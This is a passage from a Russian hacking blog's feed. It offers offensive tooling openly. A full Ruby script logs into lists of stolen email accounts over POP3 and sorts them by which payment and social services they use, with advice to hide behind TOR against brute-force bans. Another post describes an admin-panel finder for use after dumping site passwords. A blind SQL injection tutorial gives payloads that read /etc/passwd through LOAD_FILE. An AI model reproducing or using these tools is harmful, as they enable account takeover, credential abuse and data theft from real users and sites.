	email<span style="color: #339933;">=</span>getUrlVars<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'email'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	pass<span style="color: #339933;">=</span>getUrlVars<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'pass'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>email.<span style="color: #660066;">length</span><span style="color: #339933;">&gt;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span> $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#email'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">val</span><span style="color: #009900;">&#40;</span>email<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>pass.<span style="color: #660066;">length</span><span style="color: #339933;">&gt;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	  $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#pass'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">val</span><span style="color: #009900;">&#40;</span>pass<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	  $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#login'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">submit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>window<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<h2>установка в FF</h2>
<p>Для начала нужно установить плагин <a rel="nofollow" href="https://addons.mozilla.org/ru/firefox/addon/greasemonkey/" target="_blank">Greasemonkey</a>. Далее активировать этот плагин, после чего добавить в Greasemonkey новый скрипт. В редакторе кода нового скрипта прописать код приведенный выше. </p>
<p>Для Chrome Greasemonkey не нужен, для Opera не знаю. Во всех популярных браузерах добавление Userscript элементарное. Сам скрипт выше должен быть кроссбраузерным, хотя я и не проверял.<br />
После всех этих действий &#8216;быстрый вход&#8217; такой как в AIVK прекрасно работает, даже лучше чем раньше т.к. нет непонятки с капчей.<br />
<meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2012/09/putin.png" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2012/09/30/byistryiy-vhod-v-vk-pri-pomoshhi-userscript/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>сканирование e-mail&#8217;ов на аккаунты различных сервисов</title>
		<link>http://blog.lukmus.ru/2011/07/27/1038/</link>
		<comments>http://blog.lukmus.ru/2011/07/27/1038/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 07:06:16 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[скрипты]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[почта]]></category>
		<category><![CDATA[сканирование на аккаунты]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=1038</guid>
		<description><![CDATA[В общем зашел разговор о том что делать с вагоном e-mail&#8217;ов после того как вы их взломали добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( сам разговор ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце [...]]]></description>
			<content:encoded><![CDATA[<p>В общем зашел разговор о том что делать с вагоном e-mail&#8217;ов после того как вы их <del datetime="2011-07-27T05:05:12+00:00">взломали</del> добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( <a rel="nofollow" href="http://forum.antichat.ru/thread285666.html">сам разговор</a> ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце расскажу как он работает.<br />
<img class="aligncenter size-full wp-image-1039" title="Талон_1990_Ленинград_2" src="http://blog.lukmus.ru/wp-content/uploads/2011/07/Талон_1990_Ленинград_2.jpg" alt="" width="517" height="320" /><br />
<span id="more-1038"></span></p>
<h2>суть вкратце</h2>
<p>Читаем поочередно из файла логины и пароли от почт, после чего заходим на них по POP3.</p>
<p>Далее проходимся по всем сообщениям и если это сообщение от нужного нам адреса, например Вконтакте.Ру (admin@vkontakte.ru), то добавляем этот логин в нужный список, удаляем из массива этого адресата и идем по его сообщениям дальше. Сканирование одной почты продолжается до тех пор пока не кончатся все адресаты или не закончатся сообщения в почте. Далее берем следующий e-mail.</p>
<h2>скрипт</h2>
<p>Скрипт написан на Ruby и работает как на версии 1.8, так и на 1.9. Пробовал его только на Linux, но подозреваю, что на Windows он тоже будет прекрасно работать.</p>
<h3>получение параметров и начальная настройка</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#!/usr/bin/ruby</span>
<span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'net/pop'</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">if</span> ARGV.<span style="color:#9900CC;">size</span>!=<span style="color:#006666;">3</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;&lt;infile&gt; &lt;logfile&gt; &lt;start no&gt;&quot;</span>
  <span style="color:#CC0066; font-weight:bold;">exit</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#ff6633; font-weight:bold;">$infile</span>,$logfile,$start_no=ARGV
<span style="color:#ff6633; font-weight:bold;">$start_no</span>=$start_no.<span style="color:#9900CC;">to_i</span>
&nbsp;
<span style="color:#ff6633; font-weight:bold;">$service</span>=<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">'torrents.ru'</span>,<span style="color:#996600;">'tfile.ru'</span>,<span style="color:#996600;">'skype.com'</span>,
  <span style="color:#996600;">'ozon.ru'</span>,<span style="color:#996600;">'odnoklassniki.ru'</span>,<span style="color:#996600;">'smartpay.com.ua'</span>,
  <span style="color:#996600;">'vkontakte.ru'</span>, <span style="color:#996600;">'webmoney.ru'</span>,<span style="color:#996600;">'moneybookers.com'</span>,
  <span style="color:#996600;">'e-gold.com'</span>,<span style="color:#996600;">'e-port.ru'</span>,<span style="color:#996600;">'agava.ru'</span>,
  <span style="color:#996600;">'hoster.ru'</span>,<span style="color:#996600;">'dinohost.ru'</span>,<span style="color:#996600;">'eskhosting.ru'</span>,
  <span style="color:#996600;">'infobox.ru'</span>,<span style="color:#996600;">'zemskov.ru'</span>,<span style="color:#996600;">'art-host.ru'</span><span style="color:#006600; font-weight:bold;">&#93;</span></pre></td></tr></table></div>

<p>Итак, скрипт получает в командной строке 3 параметра:</p>
<ol>
<li>файл, содержащий почты и пароли от них в формате <code>mail@example.ru:passwd</code>, причем каждая почта на новой строке</li>
<li>файл лога, сюда будут записываться все почты, к которым не удалось авторизоваться  и другие ошибки</li>
<li>номер почты в <code>$infile</code>, с которой нужно начать работу. Нумерация с нуля.</li>
</ol>
<p>Далее идет массив, содержащий сервисы на которые будут сканироваться аккаунты почт. Смысл здесь в домене т.е. сюда нужно добавлять домены с которых высылаются e-mail&#8217;ы этих сервисов.</p>
<h3>некоторые неключевые функции</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> exist<span style="color:#006600; font-weight:bold;">&#40;</span>str,file<span style="color:#006600; font-weight:bold;">&#41;</span>
  outf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>file,<span style="color:#996600;">'a'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  outf.<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{str}&quot;</span>
  outf.<span style="color:#9900CC;">close</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> log<span style="color:#006600; font-weight:bold;">&#40;</span>text,file<span style="color:#006600; font-weight:bold;">&#41;</span>
  logf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>file,<span style="color:#996600;">'a'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  logf.<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{text}&quot;</span>
  logf.<span style="color:#9900CC;">close</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{text}&quot;</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> check_letter<span style="color:#006600; font-weight:bold;">&#40;</span>head,service<span style="color:#006600; font-weight:bold;">&#41;</span>
  service.<span style="color:#9900CC;">each_with_index</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>se,i<span style="color:#006600; font-weight:bold;">|</span> <span style="color:#0000FF; font-weight:bold;">return</span> i <span style="color:#9966CC; font-weight:bold;">if</span> head.<span style="color:#9966CC; font-weight:bold;">include</span>?<span style="color:#006600; font-weight:bold;">&#40;</span>se<span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#125;</span>
  <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>Немного объясню функции:</p>
<ul>
<li><code>exist</code> &#8211; записывает аккаунт почты в файл одноименный с доменом сервиса, в случае если почта зарегистрирована в этом сервисе</li>
<li><code>log</code> &#8211; записывает сообщение в файл лога</li>
<li><code>check_letter</code> &#8211; проверяет заголовок письма на наличие домена сервиса, обходя массив сервисов. В случае если письмо отправлено от нужного домена возвращает индекс этого домена в массиве, в противном случае возвращает <code>-1</code>.</li>
</ul>
<h3>функция сканирования почты</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> check<span style="color:#006600; font-weight:bold;">&#40;</span>mail,pass,service<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#008000; font-style:italic;"># разбиваем почтовый адрес @, на логин и домен</span>
    login,pop_server=mail.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'@'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    pop_server=<span style="color:#996600;">'pop.'</span><span style="color:#006600; font-weight:bold;">+</span>pop_server
    count_reg=<span style="color:#006666;">0</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">begin</span>
        pop=<span style="color:#6666ff; font-weight:bold;">Net::POP3</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span>pop_server<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> e
        <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">2</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># соединяемся с POP3-сервером</span>
    <span style="color:#9966CC; font-weight:bold;">begin</span>
        pop.<span style="color:#9900CC;">start</span><span style="color:#006600; font-weight:bold;">&#40;</span>login,pass<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> e
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">begin</span>
    <span style="color:#008000; font-style:italic;"># обходим письма в почте</span>
    pop.<span style="color:#9900CC;">mails</span>.<span style="color:#9900CC;">each</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>msg<span style="color:#006600; font-weight:bold;">|</span>
        hed=msg.<span style="color:#9900CC;">header</span>
        STDOUT.<span style="color:#9900CC;">flush</span>
&nbsp;
        <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#006600; font-weight:bold;">&#40;</span>si=check_letter<span style="color:#006600; font-weight:bold;">&#40;</span>hed,service<span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&gt;</span>=<span style="color:#006666;">0</span>
	  <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'!'</span> <span style="color:#008000; font-style:italic;">###</span>
          exist<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;#{mail}/#{pass}&quot;</span>,service<span style="color:#006600; font-weight:bold;">&#91;</span>si<span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
          <span style="color:#008000; font-style:italic;"># удаляем сервис из экземпляра</span>
          <span style="color:#008000; font-style:italic;"># индивидуального массива сервисов</span>
          <span style="color:#008000; font-style:italic;"># для данной почты</span>
          service.<span style="color:#9900CC;">delete_at</span><span style="color:#006600; font-weight:bold;">&#40;</span>si<span style="color:#006600; font-weight:bold;">&#41;</span>
          count_reg<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
          <span style="color:#9966CC; font-weight:bold;">if</span> service.<span style="color:#9900CC;">size</span>==<span style="color:#006666;">0</span>
            pop.<span style="color:#9900CC;">finish</span>
            <span style="color:#0000FF; font-weight:bold;">return</span> count_reg
          <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#if</span>
&nbsp;
        <span style="color:#9966CC; font-weight:bold;">else</span>
	   <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'.'</span>
	<span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#if</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#each</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#CC00FF; font-weight:bold;">EOFError</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">4</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#6666ff; font-weight:bold;">Timeout::Error</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#6666ff; font-weight:bold;">Net::POPError</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">5</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    pop.<span style="color:#9900CC;">finish</span>
    <span style="color:#0000FF; font-weight:bold;">return</span> count_reg
<span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#def</span></pre></td></tr></table></div>

<p>Тут следует кое-что учесть. Эта функция в самом своем начале разбивает e-mail адрес на логин @ домен, после чего адрес POP3-сервера получается из суммы &#8216;pop.&#8217;+домен.<br />
Такая схема работает для бесплатных обывательских почт типа: mail.ru, rambler.ru, yandex.ru, hotmail.com итд. Однако, если почта не от популярных сервисов бесплатных почт, то адрес POP3-сервера может быть какой угодно.<br />
Также нужно знать, если домен настроен, например, в услуге Яндекса &#8216;Почта для домена&#8217;, то логин будет равен адресу почты целиком, а не только его первая часть до собаки (@).</p>
<h3>обход исходного файла</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;">inf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>$infile,<span style="color:#996600;">'r'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
i=<span style="color:#006666;">0</span>
<span style="color:#008000; font-style:italic;"># крутим файл до заданной начальной строки</span>
<span style="color:#9966CC; font-weight:bold;">while</span><span style="color:#006600; font-weight:bold;">&#40;</span>i<span style="color:#006600; font-weight:bold;">&lt;</span>$start_no<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#9966CC; font-weight:bold;">do</span>
  str=inf.<span style="color:#CC0066; font-weight:bold;">gets</span>
  i<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#008000; font-style:italic;"># построчно обходим файл</span>
<span style="color:#9966CC; font-weight:bold;">while</span> !inf.<span style="color:#9900CC;">eof</span> <span style="color:#9966CC; font-weight:bold;">do</span>
  str=inf.<span style="color:#CC0066; font-weight:bold;">gets</span>.<span style="color:#CC0066; font-weight:bold;">chop!</span>
  <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">&quot;#{i})#{str} checking...&quot;</span> <span style="color:#008000; font-style:italic;">###</span>
  STDOUT.<span style="color:#9900CC;">flush</span>
  ret=check<span style="color:#006600; font-weight:bold;">&#40;</span>str.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;:&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span>,str.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;:&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>,$service<span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">to_i</span>
  <span style="color:#9966CC; font-weight:bold;">case</span> ret
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Unknow time is out #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">2</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Can't connect to the server #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Can't auth #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006666;">0</span>
      <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;FAIL #{str}&quot;</span>
    <span style="color:#9966CC; font-weight:bold;">else</span>
      <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{str} SUCCESS #{ret}&quot;</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
  i<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
inf.<span style="color:#9900CC;">close</span></pre></td></tr></table></div>

<p>Ну тут все просто и примитивно.</p>
<h2>заключение</h2>
<p>Следует помнить, что доступ по POP3 вообще может быть отключен у почты, в этом случае почта будет добавлен в лог, как имеющая не верный пароль. Помимо этого если в списке много раз будет не проходить авторизация, то тот или иной POP3-сервер может забанить ваш IP за брутфорс, чтобы такого не было рекомендую запускать скрипт через известную связку TOR-Privoxy-Proxychains.</p>
<p>Целиком скрипт можно скачать тут - <a href="http://blog.lukmus.ru/wp-content/uploads/2011/07/check_mail_for_diff_accs.rb_.zip">check_mail_for_diff_accs.rb</a>.<br />
<meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2011/07/Талон_1990_Ленинград_2.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2011/07/27/1038/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>поиск админок на множестве сайтов</title>
		<link>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/</link>
		<comments>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/#comments</comments>
		<pubDate>Sat, 18 Sep 2010 16:46:51 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[админка]]></category>
		<category><![CDATA[поиск]]></category>
		<category><![CDATA[список]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=508</guid>
		<description><![CDATA[Иногда бывает такая ситуация, когда допустим получив доступ к базе и слив оттуда все пароли нужно найти тот скрипт, где эти пароли подойдут. Все бы было ничего, если бы админка находилась на том же сайте что и уязвимое место. Тогда бы мы просто просканировали сайт по списку, допустим тем же Havij&#8217;ом. Однако, часто так бывает, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/09/adminki.jpg"><img class="alignleft size-full wp-image-509" title="adminki" src="http://blog.lukmus.ru/wp-content/uploads/2010/09/adminki.jpg" alt="поиск админки" width="151" height="150" /></a>Иногда бывает такая ситуация, когда допустим получив доступ к базе и слив оттуда все пароли нужно найти тот скрипт, где эти пароли подойдут. Все бы было ничего, если бы админка находилась на том же сайте что и уязвимое место. Тогда бы мы просто просканировали сайт по списку, допустим тем же Havij&#8217;ом.<span id="more-508"></span></p>
<p>Однако, часто так бывает, что на одном хостинге (аккаунт хостинга) размещается куча сайтов, но т.к. аккаунт от хостинга 1, то и сервер БД один, а иногда и БД одна для разных сайтов.</p>
<p>Короче, представим такую ситауцию, вы нашли уязвимое место, скажем SQL-inj, вытащили все пароли, но на этом сайте нет админок или эти пароли не подходят. В таком случае нужно найти все сайты, которые висят на этом сервере или же все сайты, которые принадлежат этому акку хостинга. Узнать последнее &#8211; задача не тривиальная, а первое можно через тот же 2ip.ru.</p>
<p>Далее весь этот список сайтов нужно просканировать на различные пути к админке. Havij позволят за 1 раз искать пути только к 1 сайту. А если у нас список из 50-100 сайтов, то каждый раз вбивать в ручную в Havij утомительно.</p>
<p>Я предлагаю такой простенький скриптик, который переберет все пути к списку сайтов. Скачать можно <a href="http://blog.lukmus.ru/wp-content/uploads/2012/05/adminfinder-10-05-2012.tar.gz" target="_blank">здесь</a>.</p>
<h2>конфигурация</h2>
<p>Открываем файл config.rb и видим:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$site_list</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;site_list&quot;</span> <span style="color: #666666; font-style: italic;"># список сайтов
</span><span style="color: #000088;">$admin_list</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;admin_list&quot;</span> <span style="color: #666666; font-style: italic;"># список путей к админкам
</span><span style="color: #000088;">$th_count</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">50</span> <span style="color: #666666; font-style: italic;"># количество потоков
</span><span style="color: #000088;">$log_file</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;log&quot;</span> <span style="color: #666666; font-style: italic;"># лог файл, записываются успешные пути</span></pre></td></tr></table></div>

<p>и все сразу становится понятно.</p>
<p>В архиве прилагается список путей к админкам честно украденный из Havij.</p>
<p>Принцип работы скрипта прост &#8211; запрашивает страницу с данным путем и если код ответа сервера не равен 404, то путь записывается в $log_file как успешный.</p>
<p>Еще хочу попросить, если у кого-то есть более полный список путей к админкам, то выложите где-нибудь, пожалуйста.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>автоматизация слива через blind sql-inj</title>
		<link>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/</link>
		<comments>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 20:52:43 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[blind sql-inj]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[SQL-inj]]></category>
		<category><![CDATA[автоматизация]]></category>
		<category><![CDATA[слепая sql инъекция]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=450</guid>
		<description><![CDATA[Выкладываю пару скриптов автоматизации слива данных из слепой скули. Первый скрипт долгий т.к. однопоточный, зато точный т.е. стопудов однозначно вычислит символ до которого дошел. Второй многопоточный, иногда немного недовычисляет при частых обрывах сети, однако допустим для вычисления текста файла функцией MySQL LOAD_FILE в самый раз т.к. гораздо быстрее обработает длинный текст, а не досчитанные символы [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/08/sql_inject.png"><img class="alignleft size-full wp-image-451" style="margin-bottom: 2px; margin-right: 10px;" title="sql_inject" src="http://blog.lukmus.ru/wp-content/uploads/2010/08/sql_inject.png" alt="sql-inj" width="316" height="136" /></a>Выкладываю пару скриптов автоматизации слива данных из слепой скули.</p>
<p>Первый скрипт долгий т.к. однопоточный, зато точный т.е. стопудов однозначно вычислит символ до которого дошел. Второй многопоточный, иногда немного недовычисляет при частых обрывах сети, однако допустим для вычисления текста файла функцией MySQL LOAD_FILE в самый раз т.к. гораздо быстрее обработает длинный текст, а не досчитанные символы можно самому догадатся или же пробежатся по ним первым скриптом.<span id="more-450"></span></p>
<p>Аналогов, наверное, существует немерянно, но несмотря на это, я думаю, что мои скрипты обладают отличным преймуществом &#8211; они очень гибкие т.к. примитивны и в них очень легко разобратся.</p>
<p>Что такое SQL-inj, в том числе и слепая скуля, как с ними быть и многое другое, на мой взгляд лучше всего описано в этом <a rel="nofollow" href="https://rdot.org/forum/showthread.php?t=124">FAQ на rdot&#8217;е</a>.</p>
<div style="font-size: 1.7em;">однопоточный точный</div>
<p><a rel="nofollow" href="http://www.sendspace.com/file/8mdl94" target="_blank">скачать скрипт</a></p>
<div style="font-size: 1.5em;">принцип работы</div>
<p>Как вы понимаете, если у вас слепая инъекция, то никаких прямых выводов на страницу не может быть. Вы задаете какой-либо предикат, а проще говоря, условие, например</p>
<p><code>128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1))</code></p>
<p>и в соответсвии с этим условием у вас отобразится, например, либо новость под номером 10, либо 9. Приведу пример полного запроса:</p>
<p><code>http://site.com/?id=IF(128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)),10,9) --</code></p>
<p>ну или так:</p>
<p><code>http://site.com/?id=10 AND 128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)) --<br />
</code></p>
<p>В первом примере, если 128 больше ASCII-кода первого символа файла /etc/passwd, то выведется страница с новостью 10, в противном случае, выведется 9. Второй случай практически идентичен первому, заисключением того, что если не больше ASCII-кода, то выведется неизвестно какая страница (для каждого сайта индивидуально, надо просто попробывать запрос http://site.com/?id= ), скорее всего это будет редирект на главную.</p>
<p>Вообще существует достаточно много всяких способов раксрутки слепых скулей, не только по странице, которую мы получаем на выводе. Короче читаем FAQ, ссылка на которую указана выше.</p>
<p>Так вот скрипт, берет допустим первый символ и формирует такой запрос:</p>
<p><code>128&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code></p>
